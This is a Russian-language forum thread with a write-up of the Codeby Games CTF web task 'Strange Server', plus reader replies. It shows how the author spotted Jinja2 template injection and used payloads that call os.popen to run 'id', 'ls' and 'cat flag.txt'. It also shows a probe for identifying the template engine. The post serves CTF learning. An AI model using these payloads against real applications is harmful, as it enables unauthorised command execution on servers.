• 🚨 24 часа до повышения цены на курс «Пентест Active Directory: от теории к практике» от Академии Кодебай

    🔍 Изучите реальные техники атак на инфраструктуру Active Directory: от первоначального доступа до полной компрометации.
    🛠️ Освойте инструменты, такие как BloodHound, Mimikatz, CrackMapExec и другие.
    🧪 Пройдите практические лабораторные работы, имитирующие реальные сценарии атак.
    🧠 Получите знания, которые помогут вам стать востребованным специалистом в области информационной безопасности.

    Последний день записи в текущий поток по старой цене Подробнее о курсе ...

Writeup Codeby Games - Странный сервер [Writeup]

  • Автор темы Автор темы vov4ick
  • Дата начала Дата начала

vov4ick

Green Team
11.12.2022
60
140
Приветствую любителей играть в CTF, особенно тех кто любит играть на Codeby.games.
Сегодня рассмотрим таск под названием - Странный Сервер из категории Веб.

Screenshot_4.png


Первое что мы видим переходя по ip:

Screenshot_5.png


Здесь написано что можно что то протестировать, /same /hello_world и тд. При подстановки мы не получаем ничего интересного.
В начале я думал что то связанное с фаззингом. Потратил время, но ничего не нашел.
Зная что админы любят SSTI , и мы любим это, по этому просто подставляем базовую нагрузку в url:

Screenshot_6.png


Успешно) и мы сразу понимаем что это Jinja2. Я часто обращаюсь к PayloadsAllTheThings, там подробно описано
как определять шаблонизатор, так же там есть полезные нагрузки и не только для SSTI.

Попробуем что то вывести :
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Этот код в языке шаблонов предполагает выполнение команды id.
В результате его выполнения будет возвращена информация о текущем пользователе:

Screenshot_7.png

Попробуем теперь поискать что нибудь:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls').read() }}


Screenshot_8.png


{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read() }}

_231220144044.png


Вот и наш заветный флаг. Задание оказалось максимально простым. Спасибо за внимание и до новых встреч!
 
Спасибо за райтап! :)
Только вопрос: Как ты понял, что это Jinja2? Это результат опыта, или есть какой-то алгоритм, по которому можно определить?
 
  • Нравится
Реакции: vov4ick
Спасибо за райтап! :)
Только вопрос: Как ты понял, что это Jinja2? Это результат опыта, или есть какой-то алгоритм, по которому можно определить?
Спасибо за оценку! Понять можно по результату этого математического выражения {{7*’7’}} . Какой будет результат , такой и шаблон.
 
  • Нравится
Реакции: Kevgen
Спасибо за райтап! :)
Только вопрос: Как ты понял, что это Jinja2? Это результат опыта, или есть какой-то алгоритм, по которому можно определить?
Вот можно найти как определять что использовать
 
  • Нравится
Реакции: Kevgen
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Курс AD